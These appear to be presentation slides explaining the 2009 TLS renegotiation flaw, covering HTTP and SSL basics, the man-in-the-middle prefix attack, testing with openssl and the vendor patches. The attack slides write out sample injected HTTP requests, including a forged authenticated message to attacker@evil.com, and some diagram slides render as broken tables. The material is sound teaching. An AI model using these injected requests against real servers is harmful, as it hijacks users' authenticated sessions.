TLS Renegotiation Vulnerability

Blaine Wilson
Background

• Marsh Ray and Steve Dispensa release a document discussing a vulnerability in the design of TLS – November 4, 2009

• Turkish grad student, Anil Kurmus, exploits the vulnerability to steal Twitter login credentials – November 10, 2009
Background

• From IBM ISS:

“Most, if not all, major web applications have implementation level protections against CSRF, such as random nonces in web forms that must be submitted along with any request. Those protection measures are effective against this new SSL man in the middle attack. Therefore, this vulnerability has minimal security impact for most websites and Internet users.”
Agenda

• Review of the HTTP basics
• How SSL works
• Putting it all together
• What can we do?
HTTP Basics - Flow

1. Request
2. Response
HTTP Basics - Data

• The data sent between the client and the server always have headers and quite often have a body as well.

• You NEED to know what your application is sending in both.
HTTP Basics - Message

POST https://ims-dev.td.afg/basic/page.html HTTP/1.1
Accept: */*
Accept-Language: en-us
Host: ims-dev.td.afg
Authorization: Basic dGVzdGVyOjEyMzQ1Ng==

fName=Blaine&lName=Wilson
HTTP Basics – Encoding and Encryption

![Diagram]

- Plain text → Encoding engine → Encoded data
- Plain text → Encryption engine → Encrypted data
- Encryption key
HTTP Basics – HTML Encoding

<script>
    alert("here");
</script>

&lt;script&gt;
    alert("here");
&lt;/script&gt;
HTTP Basics – Base64 Encoding

A

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td>0</td>
</tr>
</tbody>
</table>

B

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td>0</td>
</tr>
</tbody>
</table>

C

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td>1</td>
</tr>
</tbody>
</table>

Q

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td>0</td>
</tr>
</tbody>
</table>

U

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td>0</td>
</tr>
</tbody>
</table>

J

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td>0</td>
</tr>
</tbody>
</table>

D

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td>0</td>
</tr>
</tbody>
</table>
SSL Basics - Handshake

Client → Server:
1. Client Hello
2. Server Hello
3. Certificate
4. Server Hello Done

Client → Server:
5. Key Exchange
6. Change Cipher Spec

Server → Client:
7. Change Cipher Spec
SSL Basics – Attack

Client → Server:
1. Client hello
2. Server hello
3. Certificate
4. Server hello done
5. Client key exchange
6. Change cipher spec
7. Change cipher spec
8. Request

Attacker → Server:
1. Client hello
2. Server hello
3. Certificate
4. Server hello done
5. Client key exchange
6. Change cipher spec
7. Change cipher spec
8. Altered request
9. Change cipher spec
The attack

POST /orginal/page.html HTTP/1.1
fName=Blaine&lName=Wilson

POST /new/page.html HTTP/1.1
x-ignore-this: POST /orginal/page.html HTTP/1.1
fName=Blaine&lName=Wilson
Putting it together

POST /email/send.jsp HTTP/1.1
Authorization: Basic dGVzdGVyOjEyMzQ1Ng==

email=bkwilson@gaic.com&Message=This is my message

POST /email/send.jsp HTTP/1.1
Authorization: Basic QWxhZGRpbjpvcGVuIHNlcnZpZQ==

email=attacker@evil.com&Message=Hey check this out:
POST /original/page.html HTTP/1.1
Authorization: Basic dGVzdGVyOjEyMzQ1Ng==

email=bkwilson@gaic.com&Message=This is my message
Testing for the issue

• Use openssl
  – s_client
  – -connect
• Use “R” to renegotiate
What can we do?

- Microsoft has released a patch (KB 977377)
- openssl has released a patch
Things to watch out for

• Some of the patches may just turn off TLS Renegotiation
  – Could have issues with Client Certificates
  – Could have issues with sites containing multiple encryption levels and rules